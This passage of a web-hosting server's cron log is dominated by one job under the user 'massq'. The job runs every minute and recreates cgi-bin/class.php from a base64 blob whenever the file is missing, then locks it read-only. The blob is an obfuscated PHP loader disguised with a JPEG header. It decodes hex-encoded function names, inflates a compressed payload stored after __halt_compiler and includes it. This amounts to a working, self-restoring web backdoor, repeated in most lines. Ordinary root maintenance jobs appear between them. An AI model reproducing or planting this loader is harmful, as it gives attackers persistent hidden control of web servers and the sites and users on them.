tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:34:01 server CROND[22353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:35:01 server CROND[22417]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:35:01 server CROND[22418]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:35:01 server CROND[22419]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:35:01 server CROND[22420]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  8 23:35:01 server CROND[22421]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 23:36:01 server CROND[22633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:37:01 server CROND[22701]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:38:01 server CROND[22774]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:39:01 server CROND[22861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:39:01 server CROND[22862]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 23:40:01 server CROND[22940]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:40:01 server CROND[22941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 23:40:01 server CROND[22939]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:40:01 server CROND[22942]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:41:01 server CROND[23059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:42:01 server CROND[23210]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 23:42:01 server CROND[23211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:43:01 server CROND[23272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:44:01 server CROND[23339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:45:01 server CROND[23409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 23:45:01 server CROND[23410]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 23:45:01 server CROND[23411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:46:01 server CROND[23523]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 23:47:01 server CROND[23580]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JH